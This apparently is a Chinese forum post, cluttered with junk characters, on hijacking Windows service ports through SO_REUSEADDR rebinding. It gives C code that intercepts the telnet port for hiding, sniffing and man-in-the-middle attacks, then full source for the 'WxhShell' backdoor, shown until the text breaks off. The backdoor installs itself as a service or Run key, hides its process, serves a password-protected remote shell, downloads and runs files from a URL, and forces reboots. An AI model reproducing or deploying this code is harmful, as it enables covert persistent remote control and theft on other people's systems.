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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kjVJ!R\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hEv}g  
By7? <A  
  saddr.sin_family = AF_INET; +M/1,&  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n%Df6zQ<@s  
r#;GVJR6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %=GF  
Yl#|+xYA5[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YN>k5\M_v  
m_pqU(sP  
  这意味着什么?意味着可以进行如下的攻击: X:1&Pdi  
[;n/|/m,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jQIb :\0#  
O<EFm}Ae  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U1!#TD)@  
GL<u#[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |1[3RnG S  
.\6q\7Ej  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xq<3*Bcw  
5y`n8. (?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 HZDeQx`*s  
_>k&M7OU4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !/;/ X\d  
2/ES.>K!.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uz%<K(:Ov  
i3[%]_eP.  
  #include b2<((H  
  #include v+b#8  
  #include pSC\[%K  
  #include    K\3N_ztu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !Yi2g -(  
  int main() `EJ.L6j$'  
  { uihU)]+@t/  
  WORD wVersionRequested; b:6NVHb%  
  DWORD ret; )A1u uW (  
  WSADATA wsaData; 3)6&)7`*  
  BOOL val; #PJHwvr  
  SOCKADDR_IN saddr; j'QPJ(`~1l  
  SOCKADDR_IN scaddr; )d$FFTH  
  int err; P]mJ01@'  
  SOCKET s; \fD)|   
  SOCKET sc; :H(wW   
  int caddsize; {IgL H`@  
  HANDLE mt; 3Ud{W$Ym  
  DWORD tid;   p`I[3/$3  
  wVersionRequested = MAKEWORD( 2, 2 );  n)t'?7  
  err = WSAStartup( wVersionRequested, &wsaData ); W_bp~Wu  
  if ( err != 0 ) { @yj$  
  printf("error!WSAStartup failed!\n"); L}M%z9K` h  
  return -1; m<liPl uv  
  } >.o<}!FW  
  saddr.sin_family = AF_INET; 2K VX  
   s$D"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4Wk`P]?^  
3o^~6A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IDK~ (t  
  saddr.sin_port = htons(23); R}E$SmFg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %)#yMMhR  
  { UY}EW`$#m  
  printf("error!socket failed!\n"); me+u"G9I;  
  return -1; f!K{f[aDa  
  } '(fzznRH  
  val = TRUE; ^9zlxs`<d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *ORa@ x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u/.# zn@9h  
  { K +l-A>Ic  
  printf("error!setsockopt failed!\n"); H.]p\ UY9  
  return -1; CsX@u#  
  } m}32ovpw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <El!,UBq<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KSve_CBOh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |<2<`3  
xFA+Zj BC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2= )V"lR\  
  { f#&@Vl(i&  
  ret=GetLastError(); kIJ=]wU|v  
  printf("error!bind failed!\n"); v`\CzT  
  return -1; 3U9leY'2N  
  } B,4 3b O  
  listen(s,2); :4x&B^,53  
  while(1) },%, v2}  
  { 7? ]wAH89  
  caddsize = sizeof(scaddr); P/[}$(&:  
  //接受连接请求 [H=l# W@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nn8uFISb  
  if(sc!=INVALID_SOCKET) 0~Iq9}{*P  
  { :v%iF!+.P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c|F26$rv  
  if(mt==NULL) I3A xK A  
  { 5|g#>sx>`q  
  printf("Thread Creat Failed!\n"); 0Ci:w|J  
  break; 'e*:eBoyb  
  } g>n1mK|  
  } v M $Tn  
  CloseHandle(mt); 2#Y5*r's\  
  } 6)1xjE#  
  closesocket(s); qz }PTx  
  WSACleanup(); 1i 7p'  
  return 0; )AXa.y  
  }   Qy\K oo  
  DWORD WINAPI ClientThread(LPVOID lpParam) Tl S 904'  
  { QuBaG<  
  SOCKET ss = (SOCKET)lpParam; 7!q.MOYm  
  SOCKET sc; x?2y^3<5  
  unsigned char buf[4096]; G\Q0{4w8  
  SOCKADDR_IN saddr; ,a\pdEPj  
  long num; 0kL tL!3  
  DWORD val; | (: PX  
  DWORD ret; '_%`0p1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ca"20NQ)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h"(HDnq  
  saddr.sin_family = AF_INET; TN.&FDqC9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '+iqbcUd,  
  saddr.sin_port = htons(23); |\/V1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F17nWvF  
  { \q:PU6q  
  printf("error!socket failed!\n"); \"Aw ATQ  
  return -1; +$D~?sk  
  } CDGN}Q2_  
  val = 100; J}s)#va9R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _.BX#BIF  
  { Jtl[9qe#]  
  ret = GetLastError(); K*oWcsu  
  return -1; 6Ej@;]^^-  
  } y0cB@pWp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]y<<zQ_fhY  
  { P*6&0\af|  
  ret = GetLastError(); ns9a+QQ  
  return -1; pYaq1_<+  
  } M\jTeB"Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }~$96|J  
  { Wj#Gm  
  printf("error!socket connect failed!\n"); r$z0C&5  
  closesocket(sc); CDgu`jj%]  
  closesocket(ss); zIgD R  
  return -1; @Xq3>KJ_)H  
  } yf7$m_$C'  
  while(1) %2TjG  
  { mdPEF)-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x@480r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V-%Am  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i;8tA !  
  num = recv(ss,buf,4096,0); )]3(ue  
  if(num>0) :s`\jJ  
  send(sc,buf,num,0); :Vx5%4J  
  else if(num==0) q$ 6Tb  
  break; A?/(W_Gt^M  
  num = recv(sc,buf,4096,0); 1b-_![&]1  
  if(num>0) 8m;tgMFO  
  send(ss,buf,num,0); q(I`g;MF  
  else if(num==0) h$~ \to$C  
  break; sy;_%,}N  
  } Wa+q[E  
  closesocket(ss); )Y}8)/Pud  
  closesocket(sc); x)Ls(Xh+g  
  return 0 ; v\:P _J  
  } ,wE cRN w  
f/6,b&l,  
P85@G 2  
========================================================== NLA/XZ  
:gJ?3LwTf  
下边附上一个代码,,WXhSHELL 8e3I@mv  
k2cC:5Xf3  
========================================================== I>(\B|\6  
kKP<K+hH  
#include "stdafx.h" #N'W+M /  
_wKaFf  
#include <stdio.h> <|MF\D'  
#include <string.h> HM(S}>  
#include <windows.h> 08TeGUjJ  
#include <winsock2.h> lEe<!B$d"  
#include <winsvc.h> kg^VzNX  
#include <urlmon.h> 3EN(Pz L  
wfXm(RYM  
#pragma comment (lib, "Ws2_32.lib") at-+%e  
#pragma comment (lib, "urlmon.lib") *P.Dbb8vn  
b,Vg3BS  
#define MAX_USER   100 // 最大客户端连接数 J*} warf&  
#define BUF_SOCK   200 // sock buffer ?' :v): J}  
#define KEY_BUFF   255 // 输入 buffer ^Voi 4;  
U$,W/G}m  
#define REBOOT     0   // 重启 FbWcq_  
#define SHUTDOWN   1   // 关机 p2/Pj)2  
B3V;  
#define DEF_PORT   5000 // 监听端口 (6Tvu5*4U  
L H8iHB  
#define REG_LEN     16   // 注册表键长度 @z-%:J/$  
#define SVC_LEN     80   // NT服务名长度 C@3`n;yZ=  
k:qS'  
// 从dll定义API t) :'XGk@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jb (CH4|7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8*iIJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -E(0}\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +338z<'Z!  
p?v.42R:z  
// wxhshell配置信息 NlG~{rfI  
struct WSCFG { +M=`3jioL  
  int ws_port;         // 监听端口 (/a#1Pd&  
  char ws_passstr[REG_LEN]; // 口令 j LS<S_`  
  int ws_autoins;       // 安装标记, 1=yes 0=no  h/*q +H  
  char ws_regname[REG_LEN]; // 注册表键名 ~Bi>T15e  
  char ws_svcname[REG_LEN]; // 服务名 MoX~ZewWR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .;$Ub[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NtfzAz/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z *FCd6X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E;tEmGf6F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" + ;LO|!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s ]XZQr%  
r&y0`M  
}; 31^Jg  
qC x|}5:  
// default Wxhshell configuration wr-/R"fX  
struct WSCFG wscfg={DEF_PORT, uSgR|b;R]  
    "xuhuanlingzhe", YstR T1  
    1, >_J9D?3S  
    "Wxhshell", SIridZ*%  
    "Wxhshell", |8q:sr_  
            "WxhShell Service", ! *eDT4a  
    "Wrsky Windows CmdShell Service", yt@7l]I  
    "Please Input Your Password: ", cTJi8f=g  
  1, -k8<LR3  
  "http://www.wrsky.com/wxhshell.exe", 0Fw4}f.o  
  "Wxhshell.exe" {U'\2Ge<m  
    }; $-MVsa9>I  
L~+/LV  
// 消息定义模块 \}Al85  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hl]q6ZK!6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /wI"oHZd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K2> CR$L  
char *msg_ws_ext="\n\rExit."; CBr(a'3{Z  
char *msg_ws_end="\n\rQuit."; \_]X+o;  
char *msg_ws_boot="\n\rReboot..."; SNJSRqWL/  
char *msg_ws_poff="\n\rShutdown..."; 4OaU1Y[  
char *msg_ws_down="\n\rSave to "; tiGBjTPt  
:;hz!6!  
char *msg_ws_err="\n\rErr!"; 7,lnfCm H  
char *msg_ws_ok="\n\rOK!"; lsaA    
U EjP`  
char ExeFile[MAX_PATH]; ;aN_!! r  
int nUser = 0; 7 'q *(v  
HANDLE handles[MAX_USER]; QdrZi.qKH  
int OsIsNt; g7" 2}|qxo  
(QTF+~)  
SERVICE_STATUS       serviceStatus; lQM&q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sg8[TFX@Z  
hm*cGYV/  
// 函数声明 b} 0G~oLP  
int Install(void); rez )$  
int Uninstall(void); Vak\N)=u  
int DownloadFile(char *sURL, SOCKET wsh); $niG)@*  
int Boot(int flag); Kr5(fU  
void HideProc(void); AP:Q]A6}  
int GetOsVer(void); I`f5)iF?0  
int Wxhshell(SOCKET wsl); \$4 [qG=  
void TalkWithClient(void *cs); 3;RQ\{eM  
int CmdShell(SOCKET sock); R4y]<8}  
int StartFromService(void); M$48}q+  
int StartWxhshell(LPSTR lpCmdLine); ZZn$N-  
r3B}d*v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uOO\!Hqq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DL*vF>v  
#CV]S4/^  
// 数据结构和表定义 r~z'QG6v/  
SERVICE_TABLE_ENTRY DispatchTable[] = eaAGlEW6J  
{ [ {$%9lm  
{wscfg.ws_svcname, NTServiceMain}, \%|Xf[AX  
{NULL, NULL} PjD9D.  
}; i\,I)S%yJ  
p|C[T]J\@  
// 自我安装 fX.1=BjXi  
int Install(void)  k^Q.lb {  
{ 4*ZY#7h  
  char svExeFile[MAX_PATH]; .ht-*  
  HKEY key; E<jW; trt_  
  strcpy(svExeFile,ExeFile); <2E|URo,#  
&|<f|B MX  
// 如果是win9x系统,修改注册表设为自启动 iF9d?9TWl  
if(!OsIsNt) { o! l Ykud  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VsJiE0'%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :r>^^tGT!  
  RegCloseKey(key); pM^ZC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nwp(% fBo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xhq7)/jp  
  RegCloseKey(key); NS65F7<&  
  return 0; P(3k1SM  
    } Z5E; FGPb  
  } WfD fj  
} EV?U !O  
else { T](}jQxj`  
R G*Vdom  
// 如果是NT以上系统,安装为系统服务 \BuyJskE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^)wKS]BQ..  
if (schSCManager!=0) zak|* _  
{ a'-u(Bw  
  SC_HANDLE schService = CreateService d:k n%L6k_  
  ( Wqkzj^;"G  
  schSCManager, Wqkb1~]#Y  
  wscfg.ws_svcname, X$;&Mdo.  
  wscfg.ws_svcdisp, |his8\C+x  
  SERVICE_ALL_ACCESS, B>W8pZu-J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0-uw3U<  
  SERVICE_AUTO_START, XZ . T%g  
  SERVICE_ERROR_NORMAL, _6Y+E"@zs  
  svExeFile, 9b&|'BBW  
  NULL, P}]o$nWT  
  NULL, xbBqR _ H_  
  NULL, 4-t^?T: qF  
  NULL, +J|H~`  
  NULL 0$]iRE;O]  
  ); 2j: 0!%  
  if (schService!=0) 1X[^^p~^  
  { d=n@#|3  
  CloseServiceHandle(schService); Kv(R|d6Lp  
  CloseServiceHandle(schSCManager); n m<?oI*\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~ ;LzTL  
  strcat(svExeFile,wscfg.ws_svcname); 'f!U[Qatg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NJ)Dw`|%|)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~_-]> SI  
  RegCloseKey(key); jM&di  
  return 0; ;F#(:-:  
    } F~8'3!<9  
  } R0}1:1}$Sn  
  CloseServiceHandle(schSCManager); WFiX=@SS  
} *68 TTBq(  
} :{2~s  
0|RofL&o  
return 1; d)e mTXB(  
} `0N7Gc  
J Cq>;br.  
// 自我卸载 _0jR({\  
int Uninstall(void) {G Jl<G1  
{ +]s,VSL5`  
  HKEY key; b?l>vUgAg  
GPGE7X'  
if(!OsIsNt) { 0muC4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B ytx.[zbX  
  RegDeleteValue(key,wscfg.ws_regname); {Q3OT  
  RegCloseKey(key); +?Ii=*7n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eD?&D_l~6  
  RegDeleteValue(key,wscfg.ws_regname); ly-(F2  
  RegCloseKey(key); cf88Fd6l/  
  return 0; Oj;*Gi9E  
  } {YgU23;q  
} iCPm7AU  
} bDM},(  
else { R>* z8n  
a(|6)w-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %(1O jfZc  
if (schSCManager!=0) ~<?Zj  
{ 1>OlBp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z-Uu/GjB  
  if (schService!=0) lcie6'<  
  { `UTPX'Vz  
  if(DeleteService(schService)!=0) { d/bimQ  
  CloseServiceHandle(schService); ${MzO i  
  CloseServiceHandle(schSCManager); x-m*p^}  
  return 0; |gA@WV-%  
  } ' @RF  
  CloseServiceHandle(schService); >`\.i,X .D  
  } Jv8:GgSg  
  CloseServiceHandle(schSCManager); 0+e=s0s.  
} <NMJkl-r8r  
} v-tI`Qpb  
H-PVV&r   
return 1; n@8Y6+7i  
} 0&UG=q  
PjeI&@  
// 从指定url下载文件 |n/;x$Cb  
int DownloadFile(char *sURL, SOCKET wsh) E{<#h9=>  
{ #NW+t|E  
  HRESULT hr; az F!V  
char seps[]= "/"; #4JMb#q0E  
char *token; r8s>s6vm  
char *file; fAgeF$9@  
char myURL[MAX_PATH]; rO7_K>g?  
char myFILE[MAX_PATH]; u%~'+=  
) 2Ei<  
strcpy(myURL,sURL); "pM >TMAE  
  token=strtok(myURL,seps); @."K"i'Bl  
  while(token!=NULL) w.q`E@ T*  
  { =&z+7Pe[  
    file=token; 2y - QH  
  token=strtok(NULL,seps); &VGV0K3 Dp  
  } MY,~leP&  
~HB#7+b  
GetCurrentDirectory(MAX_PATH,myFILE); 1.du#w  
strcat(myFILE, "\\"); dd  
strcat(myFILE, file); ,`}y J*7  
  send(wsh,myFILE,strlen(myFILE),0); R iLl\S#  
send(wsh,"...",3,0); '#7k9\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QPVi& *8_  
  if(hr==S_OK) N4vcd=uG#  
return 0; EB}B75)x  
else a;xeHbE  
return 1; SZF 8InyF  
\>6*U r  
} ,)1C"'  
YB"gLv?  
// 系统电源模块 TcaW'&(K  
int Boot(int flag) ',r` )9o  
{ LP"g(D2'n  
  HANDLE hToken; UjI./"]O  
  TOKEN_PRIVILEGES tkp; b*n3Fej  
p< 7rF_?W0  
  if(OsIsNt) { 4Hz3 KKu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4 neZw'm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !-lI<$S:  
    tkp.PrivilegeCount = 1; N;3!oo4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sfX~X/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uOA/r@7I}S  
if(flag==REBOOT) { M{J>yN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9<u&27.  
  return 0; h-96 2(LG  
} >%tP"x{  
else { :^]Po$fl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $5i\D rs  
  return 0; ~^2w)-N  
} 6CyByj&  
  } 3N_KNW  
  else { ';3>rv_  
if(flag==REBOOT) { /(^-= pAX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l ms^|?  
  return 0; KNeVSZT  
} h>`[p,o  
else { H1k)ya x4_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tx5bmF;b)  
  return 0; xw8k<`  
} Yh1</C  
} 6]1RxrAV  
L ci?  
return 1; -dM~3'  
} B&_:20^y~  
\^(#b,k#  
// win9x进程隐藏模块 }rJqMZ]w  
void HideProc(void) #`_W?-%^  
{ K6->{!8]k  
]V/5<O1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q]="ek&_  
  if ( hKernel != NULL ) E:9RskI  
  { &}u_e`A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NOTG|\{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -U2Su|:\N8  
    FreeLibrary(hKernel); (]q ([e  
  } <#:iltO  
oO tjG3B({  
return; &E]) sJ0  
} ;-1KPDIp`  
dzIBdth  
// 获取操作系统版本 < dE7+w  
int GetOsVer(void)  c k;:84  
{ =#2%[kGq  
  OSVERSIONINFO winfo; NN7KwVg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); - k0a((?  
  GetVersionEx(&winfo); ~~{lIO)&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |KJGM1]G  
  return 1; r3Ol?p  
  else YHN6/k7H  
  return 0; f4S}Nga(  
} #b d=G(o~6  
Jj ]<SWh  
// 客户端句柄模块 l3u[  
int Wxhshell(SOCKET wsl) bmHj)^v 5]  
{ A5R"|<UPR  
  SOCKET wsh; 46f- po_  
  struct sockaddr_in client; ?.,F3@W "  
  DWORD myID; Ge)G.>c  
(1=@.srAzK  
  while(nUser<MAX_USER) |Gq3pL<jkC  
{ F42^Uoaz  
  int nSize=sizeof(client); 0Y0z7A:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IYe[IHny1  
  if(wsh==INVALID_SOCKET) return 1; &DQ_qOKD  
s3Bo'hGxG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hzAuj0-A  
if(handles[nUser]==0) #IppjaPl8  
  closesocket(wsh); VN-0hw/A  
else {v!w2p@  
  nUser++; =&g:dX|q8  
  } @[D5{v)S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C,ldi"|  
qi@Nz=t#HJ  
  return 0; ]#N8e?b,  
} E7$ aT^  
LI-ewea  
// 关闭 socket WDnNVE  
void CloseIt(SOCKET wsh) k Jz^\Re  
{ ,M]W_\N~E  
closesocket(wsh); ~p+ `pwjY1  
nUser--; \V~B+e  
ExitThread(0); v#d3W| ~  
} fhk(<KZvJ  
o JVdFE  
// 客户端请求句柄 c @lF*"4  
void TalkWithClient(void *cs) UaG&HGg]!  
{ )l*3^kwL{U  
tv-SX=T  
  SOCKET wsh=(SOCKET)cs; hXH+C-%{  
  char pwd[SVC_LEN]; 7yG%E  
  char cmd[KEY_BUFF]; rXSw@pqZ&  
char chr[1]; hB 'rkjt  
int i,j; ybf,pDY#f  
pvWNiW:~k  
  while (nUser < MAX_USER) { PYCG#U  
 <}^p5|  
if(wscfg.ws_passstr) { )1R[~]y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MHE/#G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <&+0  
  //ZeroMemory(pwd,KEY_BUFF); (;Bh7Ft  
      i=0; 6=%\@  
  while(i<SVC_LEN) { 2U R1T~r  
UN<$F yb  
  // 设置超时 auB+g'l  
  fd_set FdRead; (wH+0  
  struct timeval TimeOut; C\[:{d  
  FD_ZERO(&FdRead); #.FhN x  
  FD_SET(wsh,&FdRead); (R s;+S  
  TimeOut.tv_sec=8; &/Gf@[  
  TimeOut.tv_usec=0; 9r:|u:i7m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \1u^?cBd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yl1l$[A$  
~Y1nU-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a/CY@V-  
  pwd=chr[0]; AO-~dV  
  if(chr[0]==0xd || chr[0]==0xa) { aEEb1Y  
  pwd=0; 8VpmcGvc3  
  break; ;5|d[r}k3  
  } p;%5o0{1  
  i++; e[Z-&'  
    } [IyC}lSW^-  
aYtW!+#  
  // 如果是非法用户,关闭 socket K=4|GZ~p}`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B%x?VOdBE  
} Z@ec}`UO|u  
OgK' ~j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D3O)Tj@:}(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^]/V-!j  
'8 ^cl:X  
while(1) { iYW<qgz  
`/G9*tIR8g  
  ZeroMemory(cmd,KEY_BUFF); ?>R(;B|ER  
<\d`}A:&  
      // 自动支持客户端 telnet标准   C szZr>Z  
  j=0; 1vh[sKv9%  
  while(j<KEY_BUFF) { VYK%0S9yH[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {p$X*2ReB  
  cmd[j]=chr[0]; u3cl7~- yW  
  if(chr[0]==0xa || chr[0]==0xd) { F${}n1D  
  cmd[j]=0; F)aF.'$-/  
  break; R-k~\vCW  
  } l?X)]1  
  j++; P#:nXc$  
    } 9*s:Vff{  
+wEsfYW  
  // 下载文件 fG@]G9Z  
  if(strstr(cmd,"http://")) { #/t+h#jG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h5n@SE>G  
  if(DownloadFile(cmd,wsh)) ;e2D}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .8|"@  
  else qP9`p4c8i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b$/7rVH!  
  } y?iW^>|?L=  
  else { !@h)3f]`1G  
MbQ%'z6D  
    switch(cmd[0]) { WQ{^+C9g'1  
  {(d 6of`C_  
  // 帮助 #A~7rH%hi  
  case '?': { 5sB~.z@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t#!AfTY$w  
    break; .| :R#VW  
  } 4`sW_ ks  
  // 安装 kb\\F:w(W  
  case 'i': { Eb&=$4c=  
    if(Install()) Q ~eh_>"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RRpCWc Iv"  
    else yx<-M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4^^=^c  
    break; jU{~3Gn?  
    } 94lz?-j  
  // 卸载 ~'Korxa  
  case 'r': { "JgwL_2  
    if(Uninstall()) _Q*,~ z~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OL.{lKJ3DV  
    else cVaGgP}\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0c&DSL}6  
    break; Gl4f:`  
    } ~kI$8oAry  
  // 显示 wxhshell 所在路径 K;R!>p}t  
  case 'p': { YCG $GD  
    char svExeFile[MAX_PATH]; cU "uKR  
    strcpy(svExeFile,"\n\r"); wk2Ff*&  
      strcat(svExeFile,ExeFile); %y+v0.aWH+  
        send(wsh,svExeFile,strlen(svExeFile),0); bc6|]kB:  
    break; &'m&'wDt:  
    } \XbCJJP  
  // 重启 }?6gj%$c  
  case 'b': { m-9ChF: U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m>DJ w7<  
    if(Boot(REBOOT)) m*14n_m'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o#-^Lg&  
    else { ^HWa owy=  
    closesocket(wsh); RV@mAw.T  
    ExitThread(0); NC"X{$o2  
    } ,H] S-uK~  
    break; ;(Z9.  
    } O}z-g&e.U  
  // 关机 p-6T,')  
  case 'd': { G[zVGqk  
